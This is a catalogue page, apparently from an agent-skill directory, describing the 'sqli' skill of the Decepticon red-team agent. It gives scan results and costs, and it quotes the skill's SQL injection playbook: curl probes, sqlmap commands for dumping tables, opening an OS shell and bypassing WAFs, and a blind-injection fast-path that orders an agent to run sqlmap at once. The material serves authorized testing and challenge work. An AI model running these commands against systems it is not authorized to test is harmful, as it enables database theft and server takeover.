Decepticon is an autonomous red-team agent that coordinates AI agents, security tools, sandboxes, and supporting services for authorized cybersecurity assessments. Security researchers and red teams can run it through its Docker stack, cloud service, command-line interface, or Python SDK, with the catalogue entries representing its available skills.
Getting it into your agent
One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.
npx skills add PurpleAILAB/Decepticon --skill sqligit clone --depth 1 https://github.com/PurpleAILAB/DecepticonWrote this? Show the measurements
A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.
[](https://agentmods.dev/skills/purpleailab/decepticon/sqli)<a href="https://agentmods.dev/skills/purpleailab/decepticon/sqli"><img src="https://agentmods.dev/badge/skills/purpleailab/decepticon/sqli.svg" alt="Measured on agentmods" height="20"></a>- NVIDIA SkillSpector warn
SkillSpector: 2 findings, up to high
These are SkillSpector’s own severities. On a checked sample its high-severity flags on skills were ~96% false positives — a documented command, a public API, a “never do X” rule — so we show them as a caution to read, not a verdict. Why →
- high YARA Match · line 42 YARA rule matched a hack tool or exploit indicator (offensive tools, reconnaissance, privilege escalation, or exploit frameworks).Fix: Remove offensive tool references and exploit code. Legitimate agent skills should not contain penetration testing tools, exploit frameworks, or reconnaissance utilities.
- medium Data Exfiltration · line 17 Data is being sent to an external URL. This could be legitimate telemetry or data exfiltration. Manual review is recommended.Fix: Verify the destination URL is trusted and necessary. Remove or replace with documented APIs. Ensure no secrets, tokens, or PII are transmitted.
What it costs to keep this loaded
Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5.1 | $0.00048 | $0.03105 |
| Opus 5 | $0.00024 | $0.01553 |
| Sonnet 5 | $0.00010 | $0.00621 |
| Haiku 4.5 | $0.00005 | $0.00311 |
Grade A, and why
sqli scanned grade A with 1 finding against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 5d ago.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Makes network callslowCapability
Not a fault in itself. Listed so you know the mod talks to something, and to what.
curl -s 'https://<TARGET>/page?id=1%27' -o sqli_test_quote.txt Copies of this mod
1 near-identical copy found in the catalogue:
- sqli — 91% identical, 1 lines differ
How it starts
The opening of the file, as written. The whole thing — 264 lines — stays where its author put it; the contents beside it link to each section on GitHub.
SQL Injection
Exploits unsanitized user input in SQL queries. Types: Union-based, Error-based, Blind (Boolean/Time-based), and Stacked queries.
Detection
# Single quote error test
curl -s 'https://<TARGET>/page?id=1%27' -o sqli_test_quote.txt
# Boolean test
curl -s 'https://<TARGET>/page?id=1+AND+1=1' -o sqli_true.txt
curl -s 'https://<TARGET>/page?id=1+AND+1=2' -o sqli_false.txt
# Time-based blind
curl -s 'https://<TARGET>/page?id=1%27+AND+SLEEP(5)--+-' --max-time 10 -w '\nTime: %{time_total}s\n' -o sqli_time.txt
sqlmap — Automated Exploitation
# Basic detection and exploitation
sqlmap -u 'https://<TARGET>/page?id=1' --batch --output-dir sqlmap_<TARGET>/
# Aggressive scan (higher risk/level)
sqlmap -u 'https://<TARGET>/page?id=1' --batch --risk 3 --level 5 --output-dir sqlmap_<TARGET>/
# POST request
sqlmap -u 'https://<TARGET>/login' --data 'user=admin&pass=test' --batch --output-dir sqlmap_<TARGET>/
# With cookies/headers
sqlmap -u 'https://<TARGET>/page?id=1' --cookie 'session=<TOKEN>' -H 'X-Custom: value' --batch --output-dir sqlmap_<TARGET>/
# Enumerate databases
sqlmap -u 'https://<TARGET>/page?id=1' --batch --dbs --output-dir sqlmap_<TARGET>/
# Dump specific table
sqlmap -u 'https://<TARGET>/page?id=1' --batch -D <DATABASE> -T <TABLE> --dump --output-dir sqlmap_<TARGET>/
# OS shell (if stacked queries + privileges)
sqlmap -u 'https://<TARGET>/page?id=1' --batch --os-shell --output-dir sqlmap_<TARGET>/
# Tamper scripts for WAF bypass
sqlmap -u 'https://<TARGET>/page?id=1' --batch --tamper=space2comment,between,randomcase --output-dir sqlmap_<TARGET>/
Blind SQLi Fast-Path (MANDATORY when tag is blind_sqli)
When the challenge tag includes blind_sqli, skip exploratory probing and go straight to confirmation + sqlmap:
- Run ONE time-based probe and ONE boolean differential in your first exploit bash call:
# Time-based oracle confirmation curl -s "http://<TARGET>/page?id=1' AND SLEEP(5)--+-" --max-time 10 -w '\nTime: %{time_total}s\n' -o blind_time.txt # Boolean differential curl -s "http://<TARGET>/page?id=1' AND 1=1--+-" -o blind_true.txt curl -s "http://<TARGET>/page?id=1' AND 1=2--+-" -o blind_false.txt - If either confirms (time delay ≥5s OR boolean diff in response) — launch sqlmap IMMEDIATELY:
sqlmap -u "http://<TARGET>/page?id=1" --technique=BT --batch --dump --threads=5 \ --output-dir sqlmap_blind/ 2>&1 | tee sqlmap_blind.log & - Do NOT iterate manual character extraction. Once the time-based or boolean differential confirms the vector, the next bash call MUST launch sqlmap or a scripted harness — not another confirmation probe.
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
- 5d ago First seen · 264 lines · 48 tokens per session scan A 0b9722ec77d7
sqli is a skill published in the GitHub repository PurpleAILAB/Decepticon (5,463 stars, last pushed 8d ago), licensed Apache-2.0. It adds 48 tokens to every session and 3,105 once invoked, about $0.0002 per session on Opus 5. A static security scan graded it A with 1 finding (makes network calls). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-09-03.
Other skills, from other repositories
optimizing-ef-core-queries
Optimize Entity Framework Core queries by fixing N+1 problems, choosing correct tracking modes, using compiled queries, and avoiding common performance traps. Use when EF Core queries are slow, generating excessive SQL, or causing high database load.
golang-database
Comprehensive guide for Go database access. Covers parameterized queries, struct scanning, NULLable column handling, error patterns, transactions, isolation levels, SELECT FOR UPDATE, connection pool, batch processing, context propagation, and migration tooling. Use this skill whenever writing, reviewing, or debugging…
postgresql-table-design
Design a PostgreSQL-specific schema. Covers best-practices, data types, indexing, constraints, performance patterns, and advanced features.
sql-optimization-patterns
Master SQL query optimization, indexing strategies, and EXPLAIN analysis to dramatically improve database performance and eliminate slow queries. Use when debugging slow queries, designing database schemas, or optimizing application performance.
query-writing
Writes and executes SQL queries from simple SELECTs to complex multi-table JOINs, aggregations, and subqueries. Use when the user asks to query a database, write SQL, run a SELECT statement, retrieve data, filter records, or generate reports from database tables.
stale-sweep
Sweep the googleapis/mcp-toolbox repo for issues and PRs with no real activity in N days (default 60), sort each by whose silence it is (the author's, ours, or nobody's), and draft the nudge or close comment. Use whenever a maintainer asks for a stale sweep, backlog cleanup, or an SLO check, e.g. "stale sweep", "find…